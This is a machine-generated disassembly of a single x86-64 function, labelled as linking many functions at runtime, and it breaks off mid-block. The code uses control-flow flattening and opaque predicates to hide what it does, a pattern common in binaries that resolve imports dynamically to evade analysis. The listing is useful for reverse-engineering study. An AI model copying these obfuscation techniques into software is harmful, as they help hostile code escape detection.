Function at 0x14014f5c0
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rax, qword [0x140265008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xb58352df
and ecx, 0x4a7cad20
or ecx, edx
mov edx, ecx
not edx
and edx, 0x4a7cad21
and ecx, 0xb58352de
or ecx, edx
mov edx, ecx
not edx
and edx, 0x44a6b6e7
and ecx, 0xbb594918
or ecx, edx
xor ecx, 0xbb594918
mov edx, ecx
and edx, ebp
xor ecx, ebp
or ecx, edx
cmp ecx, 0xffffffff
sete byte [rsp + 0x2e]
cmp eax, 0xa
setl byte [rsp + 0x2f]
mov r15d, 0xeed305c1
mov r12d, 0xf7a8c993
mov r13d, 0x64ae9c1f
mov r14d, 0x1a367e24
mov ecx, 0x6c99451f
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov eax, dword [0x1402656d8]
mov edi, dword [0x1402656d4]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
not edx
mov ebp, edx
and ebp, eax
xor edx, eax
or edx, ebp
cmp edx, 0xffffffff
sete r8b
setne dl
cmp edi, 0xa
setl cl
cmp edi, 9
setg al
mov ebx, edx
and bl, al
or dl, cl
and cl, r8b
or cl, bl
mov r9d, ecx
xor r9b, al
and r9b, cl
or al, r8b
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov r8d, r9d
xor r8b, 1
mov ecx, eax
xor cl, 1
mov ebx, r9d
and bl, r8b
mov edx, ebx
xor dl, 1
xor bl, r9b
or dl, r8b
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, al
and dl, cl
or dl, bl
xor cl, r8b
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x6a0d1875
mov ebp, 0x349260c4
cmovne eax, ebp
test dl, 1
cmove eax, ebp
test cl, 1
mov ecx, 0x6a0d1875
cmove eax, ecx
mov ecx, eax
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xf802c667
jg 0x14014f7c0
cmp ecx, 0xbe26f89b
jle 0x14014fa50
cmp ecx, 0xde8d29ad
jg 0x14014fbc2
cmp ecx, 0xcd7c1dfe
jle 0x14015007e
cmp ecx, 0xd979f1cb
jle 0x140150bc1
cmp ecx, 0xdca5761d
jle 0x140151992
cmp ecx, 0xdd53f57f
jle 0x1401538b2
cmp ecx, 0xdd53f580
je 0x1401571d4
cmp ecx, 0xddc0ed34
je 0x14015736d
cmp ecx, 0xde76d541
jne 0x14014f740
mov ecx, 0x9a18517d
cmp ecx, 0xf802c667
jle 0x14014f748
nop dword [rax]
cmp ecx, 0x352fa69f
jg 0x14014f840
cmp ecx, 0x14a6439e
jg 0x14014fc2c
cmp ecx, 0x5215ff4
jle 0x1401500d0
cmp ecx, 0xd702cfc
jle 0x140150c07
cmp ecx, 0xea92268
jle 0x140151b79
cmp ecx, 0x136e3ac3
jle 0x1401539db
cmp ecx, 0x136e3ac4
je 0x140157383
cmp ecx, 0x13a0efed
je 0x1401573ad
cmp ecx, 0x13c22e0c
jne 0x14014f740
mov ecx, 0x4e1596c
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x528aa7f0
jg 0x14014fc96
cmp ecx, 0x43bb5efe
jle 0x140150252
cmp ecx, 0x4859be9c
jle 0x140150ced
cmp ecx, 0x4b1a20ae
jle 0x140151bb3
cmp ecx, 0x4c7cbf69
jle 0x140153a09
cmp ecx, 0x4c7cbf6a
je 0x1401573c3
cmp ecx, 0x4f482700
je 0x140157535
cmp ecx, 0x52546e26
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x842eb897
and ecx, ebp
not ebp
and ebp, 0x800c2892
and edx, 0x4229005
or edx, ebp
xor edx, 0x4229005
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x7bd14768
and ecx, 0x842eb897
or ecx, edx
mov ebp, ecx
not ebp
and ebp, 0x1e6f6ca9
mov edx, ecx
and edx, 0xe1909356
or edx, ebp
mov ebp, edx
xor ebp, 0xe1909356
mov ebx, edx
xor ebx, 0xef7af3c1
and ebx, ebp
and ecx, 0xeea6097
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x2ef2b953
and ecx, 0xd10d46ac
or ecx, ebx
mov ebx, ecx
xor ebx, 0x109001
and ebp, 1
xor edx, 0xe1909357
or edx, ebp
mov ebp, edx
not ebp
xor ecx, 0xdfe7263a
mov edi, ecx
and edi, 0xfda96bf6
and ebx, 0x2569409
or ebx, edi
or ecx, edx
and edx, 0xfda96bf6
and ebp, 0x2569409
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
xor edx, 0x2f5150aa
and edx, ecx
or ecx, 0xd0aeaf55
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x8369e660
and ebp, 0x2c10108a
or ebp, edi
or ecx, ebx
and ebx, 0x8369e660
and edx, 0x7c96199f
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x555d118b
and ecx, 0xaaa2ee74
or ecx, edx
xor ecx, 0x85f3bede
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r8b
mov eax, r9d
xor al, r8b
mov ebx, eax
and bl, r9b
and al, r8b
mov r8d, ebx
xor r8b, 1
xor bl, al
xor al, 1
or al, r8b
xor al, 1
or al, bl
xor r9b, cl
and cl, r9b
mov edx, r9d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r9b
xor cl, 1
or cl, dl
xor al, 1
mov edx, ecx
xor dl, al
and al, cl
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x87b00c7a
mov ebp, 0x2c55100b
cmovne eax, ebp
test dl, 1
cmove eax, ebp
test cl, 1
mov ecx, 0x87b00c7a
jmp 0x14014f72e
cmp ecx, 0x9a6ffece
jg 0x14014fd00
cmp ecx, 0x8e1b752f
jg 0x14014fec8
cmp ecx, 0x84866eb3
jg 0x140150960
cmp ecx, 0x838d5f7f
jle 0x140151cbb
cmp ecx, 0x83e565c1
jle 0x140153baf
cmp ecx, 0x83e565c2
je 0x140157679
cmp ecx, 0x84015da0
je 0x14015768f
cmp ecx, 0x84410dba
jne 0x14014f740
mov eax, dword [0x1402656d8]
lea ecx, [rax - 1]
imul ecx, eax
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x891a5310
mov eax, ecx
and eax, 0x76e5acee
or eax, edx
mov edx, eax
xor edx, 0x620108ca
xor eax, 0x8004310
mov ebp, ecx
or ebp, 0x1ce4e734
and eax, 0x1ce4e734
and edx, 0xe31b18ca
or edx, eax
and ebp, 0x1ce4e735
xor ebp, edx
and ebx, 0xa1fc546
and ecx, 0xf5e03ab9
or ecx, ebx
mov eax, ecx
xor eax, 0x504028a9
mov edx, ebp
not edx
mov ebx, edx
and ebx, 0xadaa5250
and ebp, 0x5255adaf
or ebp, ebx
xor ecx, 0x80a4040
and ecx, 0xadaa5250
and eax, 0x5255adaf
or eax, ecx
xor eax, ebp
xor edx, eax
test edx, eax
sete dl
setne cl
cmp dword [0x1402656d4], 0xa
setl bl
xor cl, bl
xor cl, 1
mov eax, ebx
or al, dl
xor al, 1
or al, cl
mov r8d, eax
xor r8b, 1
mov ecx, edx
xor cl, bl
and dl, cl
and cl, bl
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor cl, 1
mov edx, eax
and dl, r8b
xor dl, 1
mov ebx, r8d
xor bl, dl
or dl, r8b
xor dl, 1
or dl, bl
xor dl, cl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xd917d235
mov ebp, 0xb8f524b5
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0xd917d235
jmp 0x14015cf0e
cmp ecx, 0xe7502fed
jle 0x1401502a4
cmp ecx, 0xef308f33
jle 0x140150d33
cmp ecx, 0xf1feabf7
jle 0x140151dbf
cmp ecx, 0xf7038597
jle 0x140153d51
cmp ecx, 0xf7038598
je 0x1401576a5
cmp ecx, 0xf720dbce
je 0x1401577bc
cmp ecx, 0xf7a8c993
jne 0x14014f740
mov ecx, 0xfb75065b
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x27d7b813
jle 0x14015046a
cmp ecx, 0x2e936629
jle 0x140150ea3
cmp ecx, 0x30985978
jle 0x140151eea
cmp ecx, 0x3207272d
jle 0x140153d7f
cmp ecx, 0x3207272e
je 0x1401578b0
cmp ecx, 0x3210bac7
je 0x1401578c6
cmp ecx, 0x349260c4
jne 0x14014f740
mov ecx, 0x7bce4221
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x654e452b
jle 0x1401505ee
cmp ecx, 0x734cf53b
jle 0x140150efd
cmp ecx, 0x7bce4220
jle 0x1401520ec
cmp ecx, 0x7d527ec8
jle 0x140153ee5
cmp ecx, 0x7d527ec9
je 0x1401578dc
cmp ecx, 0x7f62058d
je 0x140157ac7
cmp ecx, 0x7f89e7f6
jne 0x14014f740
mov ecx, 0x4472a0ab
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0xb1bbe954
jg 0x140150772
cmp ecx, 0xa634234f
jle 0x1401516e3
cmp ecx, 0xae57c669
jg 0x140152126
cmp ecx, 0xaadee666
jg 0x140154037
cmp ecx, 0xa6342350
je 0x140157c1d
cmp ecx, 0xa99eae7a
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x40edec97
and edx, ecx
and ecx, 0xbf121368
or ecx, ebp
mov ebp, ecx
xor ebp, 0x9c001200
xor ecx, 0x40edec97
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x639765fa
and ebp, 0x9c689a05
or ebp, edi
or ecx, ebx
and ebx, 0x639765fa
and edx, 0x9c689a05
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov esi, ecx
xor esi, 1
and esi, ecx
mov edx, ecx
not edx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov ebp, esi
not ebp
mov ebx, ecx
not ebx
mov edi, ebp
and edi, 0xcd3d4c91
and esi, 0x32c2b36e
or esi, edi
or ebp, ebx
and ebx, 0xcd3d4c91
and ecx, 0x32c2b36e
or ecx, ebx
xor ecx, esi
not ebp
or ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x574974e1
and edx, ebp
not ebp
and ebp, 0x14482440
and ecx, 0x430150a1
or ecx, ebp
xor ecx, 0x430150a1
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xa8b68b1e
and edx, 0x574974e1
or edx, ecx
sete r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
xor cl, al
and cl, al
mov ebx, ecx
xor bl, 1
and cl, bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, r8b
mov r9d, ecx
xor r9b, 1
mov ebx, r8d
xor bl, al
and al, r8b
or al, bl
xor bl, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov r8d, eax
xor r8b, 1
mov r10d, r9d
and r10b, cl
mov edx, r8d
and dl, al
mov ebx, r10d
xor bl, 1
xor r10b, r9b
or bl, cl
xor bl, 1
or bl, r10b
mov r9d, edx
and r9b, r8b
xor dl, r8b
or dl, r9b
xor dl, bl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xdb7126fd
mov ebp, 0x5a4fdc1a
cmovne eax, ebp
test dl, 1
cmove eax, ebp
test cl, 1
mov ecx, 0xdb7126fd
jmp 0x14014f72e
cmp ecx, 0x9a18517c
jg 0x1401509b2
cmp ecx, 0x92688777
jle 0x140152215
cmp ecx, 0x94d9d81a
jg 0x1401537e2
cmp ecx, 0x92688778
je 0x140156d50
cmp ecx, 0x949edd3e
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xe4b2d3b2
and ecx, edx
not edx
and edx, 0xe4b2d3b2
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x1b4d2c4d
and ecx, 0xe4b2d3b2
or ecx, edx
mov esi, ecx
not esi
mov edx, esi
and edx, 0x6ada06fa
and ecx, 0x9525f905
or ecx, edx
mov ebp, ecx
xor ebp, 0x9525f905
mov edi, ecx
xor edi, 0x30d0c9a4
and edi, ebp
or esi, 0x5a0acf5e
mov ebx, esi
not ebx
mov edx, edi
not edx
mov eax, edx
and eax, 0x768957b2
and edi, 0x8976a84d
or edi, eax
or edx, esi
and esi, 0x768957b2
and ebx, 0x81742001
or ebx, esi
xor ebx, edi
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x43b4ae9e
and edx, 0xbc4b5161
or edx, eax
xor edx, 0xe6419e3e
and ebp, 1
xor ecx, 0x9525f904
or ecx, ebp
mov eax, ecx
not eax
and eax, 0x45892c3
and ecx, 0xfba76d3c
or ecx, eax
xor ecx, 0xfba76d3c
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x370e1679
and eax, 0xc8f1e986
or eax, ecx
xor eax, 0xc8f1e986
cmp eax, 0xffffffff
sete r9b
setne r10b
cmp r8d, 0xa
setl r11b
cmp r8d, 9
setg dl
mov ecx, edx
xor cl, r11b
and cl, dl
mov eax, ecx
not al
and al, cl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
and cl, r10b
and al, r9b
or al, cl
mov ecx, edx
xor cl, r10b
xor r11b, r9b
or dl, r10b
xor dl, 1
or dl, r11b
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xfd80e646
mov ebp, 0xeb91b299
cmovne ecx, ebp
test dl, 1
mov edx, 0xfd80e646
cmovne edx, ecx
test al, 1
jmp 0x140159cff
cmp ecx, 0xc52fd197
jg 0x140151087
cmp ecx, 0xc23d7fed
jg 0x1401523f3
cmp ecx, 0xbf716511
jg 0x140154153
cmp ecx, 0xbe26f89c
je 0x140157c3f
cmp ecx, 0xbf700900
jne 0x14014f740
mov ecx, 0xc33b50b7
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0xfd80e645
jg 0x140151252
cmp ecx, 0xfb35bba1
jg 0x14015242d
cmp ecx, 0xf95e065b
jg 0x1401542a4
cmp ecx, 0xf802c668
je 0x140157d6d
cmp ecx, 0xf9419132
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x16018801
mov ebp, ecx
and ebp, 0x48e0250e
or ebp, edx
xor ebp, 0x48e0250e
and ecx, 0xa11e52f0
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xa11e52f0
and ecx, 0x5ee1ad0f
or ecx, edx
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0xddc657cf
and ecx, 0x2239a830
or ecx, edx
mov ebx, ecx
xor ebx, 0x210a020
mov edx, ebp
not edx
xor ecx, 0xddc657ce
mov edi, edx
and edi, 0xb02f5cd9
and ebp, 0x4fd0a326
or ebp, edi
or edx, ecx
and ecx, 0xb02f5cd9
and ebx, 0x4fd0a326
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x5da8a718
and ebp, 0xa25758e7
or ebp, edi
or edx, ebx
and ebx, 0x5da8a718
and ecx, 0xa25758e7
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
setne r8b
sete cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
xor al, cl
xor al, 1
or al, dl
mov r9d, eax
xor r9b, 1
or r8b, bl
xor cl, bl
and cl, bl
mov ebx, r8d
xor bl, cl
xor cl, 1
xor bl, 1
or cl, r8b
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ecx
and dl, al
or cl, r9b
and r9b, bl
or r9b, dl
xor bl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, r9b
test al, 1
mov eax, 0x494e4498
mov edx, 0x88ccb0bf
cmovne eax, edx
test cl, 1
mov ecx, 0x494e4498
cmovne ecx, eax
test r9b, 1
jmp 0x14015cf0e
cmp ecx, 0x3b637a27
jg 0x140151298
cmp ecx, 0x395eed3a
jg 0x1401525e3
cmp ecx, 0x36754355
jg 0x1401543d4
cmp ecx, 0x352fa6a0
je 0x140157d83
cmp ecx, 0x3554506f
jne 0x14014f740
mov ecx, 0x26714eec
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0xe35d5639
jg 0x1401513d5
cmp ecx, 0xdf3f534e
jg 0x140152702
cmp ecx, 0xdefa2e01
jg 0x1401545e7
cmp ecx, 0xde8d29ae
je 0x140157d99
cmp ecx, 0xde9da4d1
jne 0x14014f740
mov ecx, dword [0x1402656d8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x843c7228
and ecx, eax
and eax, 0x7bc38dd7
or eax, edx
mov edx, eax
xor edx, 0x7b038811
xor eax, 0x843c7228
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x4e017ce
and edx, 0xfb1fe831
or edx, ebx
or eax, ebp
and ebp, 0x4e017ce
and ecx, 0xfb1fe831
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
or ecx, 1
mov ebp, ecx
not ebp
and edx, 0x1e9ce1ca
and eax, 0xe1631e35
or eax, edx
mov edx, eax
xor edx, 0x41420e20
xor eax, 0x1e9ce1cb
mov ebx, ecx
and ebx, 0xba2591dd
and ebp, 0x45da6e22
or ebp, ebx
or ecx, eax
and eax, 0xba2591dd
and edx, 0x45da6e22
or edx, eax
xor edx, ebp
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x88aa3080
mov edx, ecx
and edx, 0x41018649
or edx, eax
xor edx, 0x41018649
and ecx, 0x36544936
or ecx, edx
mov eax, ecx
not eax
and eax, 0x36544936
and ecx, 0xc9abb6c9
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x1c646f52
and ecx, 0xe39b90ad
or ecx, edx
xor ecx, 0xe39b90ad
or ecx, eax
cmp ecx, 0xffffffff
sete dl
cmp dword [0x1402656d4], 0xa
setl cl
mov r8d, ecx
or r8b, dl
xor r8b, 1
mov eax, ecx
xor al, dl
or r8b, al
and dl, al
and al, cl
mov ecx, edx
xor cl, 1
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov ecx, r8d
mov edx, ebx
mov r9d, ebx
mov r10d, r8d
and r10b, bl
xor bl, r8b
xor r8b, 1
and cl, r8b
xor cl, 1
mov r11d, r8d
xor r11b, cl
or cl, r8b
and dl, al
xor cl, 1
or cl, r11b
xor r9b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r9b
xor dl, cl
or bl, r10b
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x8e1b7530
mov ecx, 0xc2981874
cmovne eax, ecx
test bl, 1
mov ecx, 0x8e1b7530
jmp 0x140159071
cmp ecx, 0x1e3e196d
jg 0x1401514dd
cmp ecx, 0x1b083bbd
jg 0x140152844
cmp ecx, 0x1880cf20
jg 0x140154615
cmp ecx, 0x14a6439f
je 0x140157dbb
cmp ecx, 0x170f0276
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea esi, [rcx - 1]
imul esi, ecx
mov edi, esi
not edi
mov edx, esi
or edx, 0x80eedd89
mov ebx, edx
not ebx
mov ecx, edi
or ecx, 0x7f112276
mov ebp, ecx
not ebp
and edx, 0x8254b955
and ebx, 0x7d010222
or ebx, edx
and ecx, 0x8254b955
and ebp, 0xaa4488
or ebp, ecx
xor ebp, ebx
mov ecx, ebp
not ecx
and ecx, 0xc9d2388c
and ebp, 0x362dc773
or ebp, ecx
mov ebx, ebp
xor ebx, 0x493ce504
xor ebp, 0xa0c312d9
mov ecx, ebx
and ecx, 0x560c6926
and ebp, 0xa9f396d9
or ebp, ecx
or ebx, esi
and esi, 0x560c6926
and edi, 0xa9f396d9
or edi, esi
xor edi, ebp
not ebx
or ebx, edi
mov ecx, ebx
not ecx
and ecx, 0x5831fe8d
and ebx, 0xa7ce0172
or ebx, ecx
xor ebx, 0xa7ce0172
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov r11d, r9d
xor r11b, dl
xor r11b, 1
or r11b, r8b
mov r10d, r11d
xor r10b, 1
or dl, r9b
xor dl, 1
or cl, r8b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov eax, r10d
and al, r11b
mov r8d, ecx
and r8b, dl
mov ebx, eax
xor bl, 1
xor al, r10b
or bl, r11b
xor bl, 1
or bl, al
mov eax, r8d
xor al, 1
xor r8b, cl
or al, dl
xor al, 1
or al, r8b
xor al, bl
mov ecx, r11d
and cl, dl
xor dl, r11b
or dl, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x6935496b
mov ebp, 0x220af418
cmovne edx, ebp
test al, 1
cmove edx, ebp
test cl, 1
mov eax, 0x6935496b
jmp 0x14015b435
cmp ecx, 0x5a4fdc19
jg 0x140151523
cmp ecx, 0x56f694a9
jg 0x140152985
cmp ecx, 0x5595dcc7
jg 0x140154648
cmp ecx, 0x528aa7f1
je 0x140157e8d
cmp ecx, 0x53098888
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0x126d483d
and ebp, ecx
or ecx, 0xed92b7c2
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x40ce833a
and edx, 0x12214805
or edx, edi
or ecx, ebx
and ebx, 0x40ce833a
and ebp, 0xbf317cc5
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x8fd5536f
and ecx, 0x702aac90
or ecx, edx
mov edx, ecx
xor edx, 0x6247e4ad
mov ebp, ecx
xor ebp, 0x6247e4ac
and ebp, edx
xor ecx, 0x9db81b52
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
not ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xee469a0f
and ebp, 0x11b965f0
or ebp, edi
or ecx, ebx
and ebx, 0xee469a0f
and edx, 0x11b965f0
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xdc6e58a2
and ebp, 0x2391a75d
or ebp, edi
or ecx, ebx
and ebx, 0xdc6e58a2
and edx, 0x2391a75d
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
setne r8b
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
mov ecx, r8d
and cl, al
or al, r8b
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, edx
xor cl, r8b
or dl, r8b
xor dl, 1
or dl, cl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, al
and al, dl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x2de25234
mov edx, 0x9a6ffecf
cmovne ecx, edx
test al, al
cmove ecx, edx
not bl
test bl, 1
mov eax, 0x2de25234
jmp 0x14015d285
cmp ecx, 0xb8ca0812
jle 0x140151887
cmp ecx, 0xba119db7
jg 0x1401529bf
cmp ecx, 0xb9449f45
jg 0x1401547c3
cmp ecx, 0xb8ca0813
je 0x140157ea3
cmp ecx, 0xb8f524b5
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
xor edx, 0x1b67fec5
and edx, ebp
not ebp
and ebp, 0x1b67fec5
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x7cf367aa
and edx, 0x830c9855
or edx, ecx
mov ebp, edx
xor ebp, 0x80210690
xor edx, 0x6794996f
mov edi, edx
or edi, 1
mov ebx, edi
not ebx
and edx, 0x5b4a7160
and ebp, 0xa4b58e9f
or ebp, edx
mov edx, ebp
xor edx, 0x4218094
xor ebp, 0x5b4a7161
mov ecx, edi
and ecx, 0xe3940e4b
and ebx, 0x1c6bf1b4
or ebx, ecx
or edi, ebp
and ebp, 0xe3940e4b
and edx, 0x1c6bf1b4
or edx, ebp
xor edx, ebx
not edi
or edi, edx
mov edx, edi
mov ecx, edi
xor ecx, 0x85187d76
and ecx, edi
not edi
and edi, 0x4106006
and edx, 0x81081d70
or edx, edi
mov ebp, edx
xor ebp, 0x1001110
xor edx, 0x7ef7e28f
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x988e4ee5
and ebp, 0x5103112
or ebp, edi
or edx, ebx
and ebx, 0x988e4ee5
and ecx, 0x6771b11a
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x4c437679
and edx, 0xb3bc8986
or edx, ecx
xor edx, 0x36a4f4f0
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r11b
mov ebx, r11d
xor bl, cl
and bl, r11b
mov eax, ebx
xor al, 1
or bl, al
mov r10d, eax
xor r10b, bl
or bl, al
xor bl, 1
or bl, r10b
mov r10d, r9d
xor r10b, bl
mov edx, r10d
and dl, r9b
and r10b, bl
mov ebx, edx
and bl, r10b
xor r10b, dl
or r10b, bl
and r8b, r11b
or r11b, r9b
xor r11b, 1
and cl, r9b
or cl, r8b
mov edx, r11d
and dl, cl
xor cl, r11b
or cl, dl
mov edx, ecx
not dl
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov eax, r10d
xor al, 1
and dl, al
or al, cl
and cl, r10b
or cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xd786d91a
mov ebp, 0xdee7fc3
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0xd786d91a
jmp 0x140159191
cmp ecx, 0x88ccb0be
jle 0x140152acb
cmp ecx, 0x8c296f7b
jle 0x1401548ec
cmp ecx, 0x8c296f7c
je 0x140157eb9
cmp ecx, 0x8d179c94
je 0x140157ecf
cmp ecx, 0x8d45022f
jne 0x14014f740
mov ecx, 0x3f3254dc
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x9a5d01e9
je 0x14015dc38
cmp ecx, 0x9a18517d
je 0x140157ee5
cmp ecx, 0x9a58e93c
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0xf4ea71e
and ecx, ebp
not ebp
and ebp, 0x83bfe1f9
and edx, 0x7c401e06
or edx, ebp
mov ebp, edx
xor ebp, 0x8000400
xor edx, 0x30ea118
or edx, 0xf0b158e1
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x7754fa7e
and ebp, 0x80a0500
or ebp, edi
or edx, ebx
and ebx, 0x7754fa7e
and ecx, 0x88ab0581
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xb4e6f552
and edx, 0x4b190aad
or edx, ecx
mov ebx, edx
xor ebx, 0x4457adb3
mov ecx, edx
xor ecx, 0xbba8524c
mov ebp, ebx
or ebp, 0xf1010664
mov edi, ebp
not edi
xor edx, 0x4aa95428
and edx, ebx
mov esi, edx
not esi
mov eax, ebp
and eax, 0x7f0c975c
and edi, 0xf26883
or edi, eax
or ebp, esi
and esi, 0x7f0c975c
and edx, 0x80f368a3
or edx, esi
xor edx, edi
not ebp
or ebp, edx
mov eax, ebp
not eax
and eax, 0x4685194f
and ebp, 0xb97ae6b0
or ebp, eax
xor ebp, 0xb7841f2a
and ebx, 0xff835662
mov eax, ecx
and eax, 0x7ca99d
or eax, ebx
xor eax, 0xff835663
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x24b8f8c8
and ecx, 0xdb470737
or ecx, eax
xor ecx, 0xdb470737
mov eax, ebp
and eax, ecx
